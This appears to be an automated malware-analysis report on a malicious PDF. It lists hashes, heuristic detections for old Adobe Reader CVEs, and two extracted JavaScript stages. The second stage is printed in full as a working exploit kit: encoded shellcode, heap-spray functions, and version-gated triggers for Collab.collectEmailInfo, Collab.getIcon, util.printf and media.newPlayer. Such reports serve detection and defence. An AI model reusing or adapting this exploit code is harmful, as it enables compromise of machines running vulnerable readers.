Malicious PDF — malware analysis report

Static analysis result for SHA-256 a9e739ddd1207800…

MALICIOUS

PDF

28.9 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 86766b09bff45fbe2ea7446ce5765037 SHA-1: 80df15e760da454043c1ba2f5e2330d9c5715979 SHA-256: a9e739ddd1207800c1e032bf2a4522c5f1f8cfd8bbd0515db9559dffc98c2d22
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The presence of String.fromCharCode further suggests obfuscation or dynamic code generation within the JavaScript. The embedded JavaScript file, 'javascript_obj0001_000.js', is a suspicious artifact. The primary attack pattern involves the execution of this embedded script, likely to download and execute a second-stage payload or perform other malicious actions.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 701 bytes
SHA-256: d522c52fe2028358c88ef9e39ef16f356b1dcd552aba4385e03d6a1e15e213b8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
bvu='';
var q2 = date.getFullYear()-2007;
hgnyx='2011s'.replace(date.getFullYear(),'hi');
cltoa=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+hgnyx+'.'+cltoa);
var zzv = g();
erzwb=('sub2011').replace(date.getFullYear(),'ject');
g=new Function('a','return t'+hgnyx+'.'+erzwb);
var lsg=g().replace(date.getFullYear(),'al');
g=new Function('a','return t'+hgnyx+'.'+lsg);
qsvp=g();
smplv='pro2011cer';
smplv=qsvp('smplv.replace(date.getFullYear(),"du")');
g=new Function('a','return t'+hgnyx+'.'+smplv);
jgx=qsvp(g());
qvkvc = qsvp(zzv);
for (i = 0; i < qvkvc.length; i++) {
	qnmtb = qvkvc[i];
	bvu += jgx(qnmtb);
}
qsvp(bvu);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title year-arithmetic JavaScript at offset 0x38C 3636 bytes
SHA-256: 1fedce87fc046c7dda0effc5a9ef03d5923b8e01eb3db9c0814c60d3994a4a50
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u0934%ue2aa%uc3fa%ue5e8%uffff%ue0ff%u0805%u0909%u8857%u55e5%u0908%u8009%u84ee%u1946%u6684%u385d%u5ed2%u5a58%u5a5a%u5a5a%u5a5a%u5a5c%u615a%u080d%u0909%u5f5c%u615a%u6766%u0909%u7c61%u657b%u5d64%u8761%u0747%ue1e5%u0941%u0909%ue159%u0975%u0909%ud9f6%ucd8a%u6101%ue646%u0c46%ue159%u0965%u0909%ud9f6%uc98c%u1e7c%u5d63%ufa50%u61a3%uf77b%u1fba%u14e1%u0909%u5909%u58e1%u0909%uf609%u5ad9%uf763%u8061%u0866%ue1b4%u0901%u0909%ue159%u0935%u0909%ud9f6%u3869%u6dc9%u5982%u8239%u055b%u5b82%u821d%u217b%u11b0%u0909%u3809%u38f6%ua5c9%u6835%u0b75%u2925%uc6c8%u0804%uebce%u88f9%u52f6%u43b5%u8263%u194b%u1b82%ud07c%u4d80%u152d%uca68%u8269%u2d65%u822d%u354c%u5d82%u710c%ue308%u4382%u8211%u2953%ue208%u3dea%u8240%u823d%ue708%uf638%uc938%ua5f5%uc98d%u0e7d%uc6c8%u0804%ue2ce%u32fd%u2d75%u7c21%u82e8%u2d53%ue208%u826f%u4205%u5382%u0815%u82e2%u820d%ue108%u4d80%u152d%ucb68%u0901%ue6e1%uf6f7%u61f6%u7d7d%u3379%u2626%u6568%u7d7a%u6a27%u2766%u6a6a%u6e26%u7927%u7961%u6f36%u3b34%u2f31%u346c%u093a';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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